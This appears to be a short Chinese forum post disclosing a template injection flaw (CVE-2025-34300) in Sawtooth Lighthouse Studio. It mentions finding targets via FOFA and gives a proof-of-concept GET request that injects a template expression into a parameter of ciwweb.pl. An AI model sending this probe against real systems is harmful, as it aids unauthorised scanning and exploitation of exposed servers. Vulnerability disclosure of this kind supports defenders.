Sawtooth Lighthouse Studio存在模板注入漏洞CVE-2025-34300

admin

Sawtooth Lighthouse Studio存在模板注入漏洞

CVE编号:CVE-2025-34300

资产确定：

FOFA

游客，如果您要查看本帖隐藏内容请回复

漏洞链接：https://xx.xx.xx.xx/cgi-bin/ciww ... &hid_Random_ACARAT=[%25123*321%25]&hid_Random_ACARAT=x

POC

GET /cgi-bin/ciwweb.pl?hid_javascript=1&hid_Random_ACARAT=[%25123*321%25]&hid_Random_ACARAT=x HTTP/1.1

Host: xx.xx.xx.xx

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)

Accept: */*

Connection: Keep-Alive

========================================================================================